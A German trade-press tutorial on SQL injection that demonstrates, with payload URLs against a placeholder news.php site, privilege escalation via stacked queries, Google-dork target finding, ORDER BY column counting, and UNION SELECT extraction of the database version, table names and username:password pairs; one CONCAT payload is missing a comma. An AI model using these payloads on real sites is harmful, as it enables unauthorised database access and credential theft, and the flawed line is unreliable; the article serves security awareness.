Web Application Security in der Praxis, Teil 1 SQL Injection – Über das Web-Frontend auf Datenbank-Server zugreifen

Autor / Redakteur: Martin Dombrowski / Stephan Augsten

SQL-Injection-Attacken sind den meisten Administratoren ein Begriff und erfahren somit weniger Aufmerksamkeit, als sie es wert wären. Dieser Artikel beschäftigt sich mit einigen Grundlagen der SQL-Injektion. Außerdem schildern wir die aktuelle Vorgehensweise Schritt für Schritt anhand eines Beispiels.

Firmen zum Thema

Zielorientiert: Die SQL Injection ist nach wie vor ein effektives Mittel zum Angriff auf Datenbank-Server.
Zielorientiert: Die SQL Injection ist nach wie vor ein effektives Mittel zum Angriff auf Datenbank-Server.
( Archiv: Vogel Business Media )

SQL Injection ist das Ausnutzen einer Schwachstelle im Zusammenhang mit SQL-Datenbanken. Möglich wird dieser Angriff durch eine mangelnde Maskierung bzw. Überprüfung von Metazeichen in Web-Eingabeformularen.

Der Angreifer gibt spezielle Zeichenfolgen an, um über die Webanwendung mögliche Datenbankbefehle abzusetzen. Die Auswirkungen eines solchen Angriffs reichen vom Lesezugriff auf die Datenbank bis hin zur vollständigen Kontrolle des Datenbankservers. Es ist dann dem Angreifer möglich, neben einer DoS-Attacke auch Daten zu manipulieren.

Bildergalerie

Ein gängiges Beispiel zur Beschreibung einer SQL Injection ist die Login-Maske in einem Webfrontend. In diesem Artikel wird eine aktuellere Form als Beispiel herangezogen.

Wie SQL Injection funktioniert

Gehen wir in unserem Beispiel von einer Webseite aus, die ein PHP-Skript enthält, das Nachrichten aus der eigenen Datenbank ausliest und anzeigt:

http://www.[domainname].de/news.php?id=5

Hierbei wird an die Variable „id“ des besagten PHP-Skriptes „News.php“ der Wert 5 übergeben. Die daraus erzeugte SQL Query (Datenbankanfrage bzw. -abfrage) lautet:

SELECT titel, autor, text FROM nachrichten WHERE id=‘5‘;

Nun gibt ein Angreifer beispielsweise folgendes als Aufruf ein:

http://www.[domainname].de/news.php?id=5‘; UPDATE+USER+SET+TYPE=‘admin‘+WHERE+ID=‘123

Daraus resultiert die verheerende SQL Query:

SELECT titel, autor, text FROM nachrichten WHERE id=‘5‘; UPDATE USER SET TYPE=‘admin‘ WHERE ID=‘123‘;

Man beachte bei der Eingabe auf die Zeichenfolge ‚; Mit dieser Eingabe wird die eigentliche SQL-Abfrage beendet. Die dahinter stehenden Zeichen führen zur einer weiteren SQL Query, deren Inhalt der Angreifer selbst definiert.

Im vorliegenden Fall wird der Benutzerstatus für den Benutzer mit der ID=123 auf Admin-Status hochgestuft. Damit könnte ein Angreifer zum Beispiel einen vorher selbst erstellten Kundenbenutzer zu einem Admin-Benutzer hochstufen.

An der Stelle, des so eingeschleusten Codes könnten auch SQL-Anfragen stehen, die Benutzernamen-Passwort-Kombinationen anzeigen, Daten löschen oder verändern oder auch den Datenbankdienst herunterfahren.

Inhalt

  • Seite 1: Wie SQL Injection funktioniert
  • Seite 2: Anfällige Webseiten per Google-Suche ermitteln
  • Seite 3: SQL-Version und Datenbank-Informationen ermitteln

Anfällige Webseiten per Google-Suche ermitteln

Es werden oft Webseiten gesucht, die eine aktuelle Schwachstelle enthalten. Hierfür wählt sich der Angreifer eine Schwachstelle auf einer Webseite aus, die aktuellste Sicherheitslücken listet (wie zum Beispiel von www.exploit.db.com). Zu den meisten ermittelten Schwachstellen wird eine so genannte „Dork“ geliefert.

Die Dork umfasst eine Zeichenkette, anhand der über eine Google-Suche eine entsprechend verwundbare Webseite gefunden werden kann. Findet der Angriff über eine solche beschriebene Schwachstelle statt, kann anhand der mitgelieferten Beschreibung direkt die vom Angreifer gewünschte SQL-Anfrage abgesetzt werden.

Im Folgenden erläutern wir, wie ein Angreifer bei einem SQL-Injection-gestützten Hack vorgeht:

1. Das Auffinden einer Lücke

Um eine normale SQL Injection zu finden, hängt man an einen GET-Parameter ein Apostroph an:

http://www.[domainname].de/news.php?id=5‘

Führt dies zu einer Fehlermeldung, dann liegt eine potentiell angreifbare Webseite vor. Eine solche Fehlermeldung könnte wie folgt aussehen:

„You have an error in your SQL syntax; check the manual...“

2. Die Anzahl der Spalten ermitteln

Für die weiteren Schritte müssen die von der SQL Query abgefragte Anzahl an Spalten ermittelt werden. Im vorherigen Beispiel führte der Aufruf mit der „id=5“ zu folgender SQL-Anfrage:

SELECT titel, autor, text FROM nachrichten WHERE id=‘5‘;

Die abgefragte Anzahl an Spalten liegt hier bei drei (titel, autor, text). Hiervon hat der Angreifer jedoch noch keine Kenntnis und setzt nun den folgenden Befehl ab:

http://www.[domainname].de/news.php?id=5+order+by+1/*

Unter Umständen muss hinter die 5 das Hochkomma gesetzt werden. Zudem kann es auch sein, dass anstelle des /* ein anderes Kommentarzeichen benutzt werden muss (zum Beispiel: -- oder #).

Führt dieser Befehl einer Fehlermeldung (zum Beispiel: Unknown Column ‚1‘ in ‚order clause‘) muss die Zahl um Eins erhöht werden. Dies geschieht solange, bis es zu keiner Fehlerausgabe mehr kommt.

3. Die Verwendung von UNION SELECT

UNION SELECT verheiratet zwei Abfragen in einem Ergebnis. In der zweiten SQL Query muss dieselbe Anzahl an Spalten wiedergegeben werden, wie in der ersten. Da im Rahmen der „ORDER BY“-Abfrage drei Spalten ermittelt wurden, muss nun das UNION SELECT mit drei Parametern aufgerufen werden, wie zum Beispiel:

http://www.[domainname].de/news.php?id=5+union+select+1,2,3/*

Inhalt

  • Seite 1: Wie SQL Injection funktioniert
  • Seite 2: Anfällige Webseiten per Google-Suche ermitteln
  • Seite 3: SQL-Version und Datenbank-Informationen ermitteln

4. SQL-Version ermitteln

Ist die Ausgabe der letzten Abfrage 1,2,3 dann kann im nächsten Schritt anstelle dieser drei Zahlen etwas anderes ausgegeben werden. Es wird nun mit dem nächsten Befehl die SQL-Version ermittelt (die 2 wurde durch version() ersetzt):

http://www.[domainname].de/news.php?id=5+union+select+1,version(),3/*

5. Tabellen- und Spaltennamen ermitteln

Abhängig von der verwendeten MySQL-Version müssen die Tabellen- und Spaltennamen erraten werden. Dies ist bei der MySQL Version 4 der Fall. Man rät anhand oft verwendeter Namen, wie zum Beispiel:

  • Für Tabellen – user,users,admin,admins,member,members,etc.
  • Für Spalten – username,user,usr,user_name,password,pass,etc.

An dieser Stelle können Tools verwendet werden, die diesen Schritt deutlich beschleunigen.

Mit dem folgenden Befehl wird überprüft ob eine Tabelle namens users existiert:

http://www.[domainname].de/news.php?id=5+union+select+1,2,3+from+users/*

Ist dies der Fall so besteht die Ausgabe wieder aus 1,2,3. Nun kann man damit beginnen die Spalten zu erraten. Im folgenden wird die Spalte namens username ausprobiert:

http://www.[domainname].de/news.php?id=5+union+select+1,username,3+from+users/*

6. Ausgabe der Benutzer samt Passwort

Wurde der richtige Spaltenname ausgewählt, so kann nun der Spaltenname für die Benutzerpasswörter erraten werden. Mit CONCAT kann man mehrere Spalten an einer Zahl ausgeben lassen, somit ergibt sich folgender Befehl:

http://www.[domainname].de/news.php?id=5+union+select+1,concat(username,0x3a,password)3+from+users/*

0x3a steht hierbei für den Doppelpunkt. In der darauf folgenden Ausgabe werden die Daten wie folgt formatiert angezeigt:

Benutzer:PasswortBenutzer1:Passwort1...BenutzerN:PasswortN

Fazit

Nicht nur, dass es automatisierte SQL Injection Tools gibt –laut ExploitDB werden auch regelmäßig neue SQL-Schwachstellen bekannt. Deshalb sollte jedem bewusst sein, wie wichtig es ist, sich mit dieser Thematik auseinanderzusetzen. Vor allem sollten Entwickler schon bei der Programmierung bedenken, da ein nachträglicher Schutz vor SQL-Angriffen mit weiteren Kosten verbunden ist.

Inhalt

  • Seite 1: Wie SQL Injection funktioniert
  • Seite 2: Anfällige Webseiten per Google-Suche ermitteln
  • Seite 3: SQL-Version und Datenbank-Informationen ermitteln

(ID:2049623)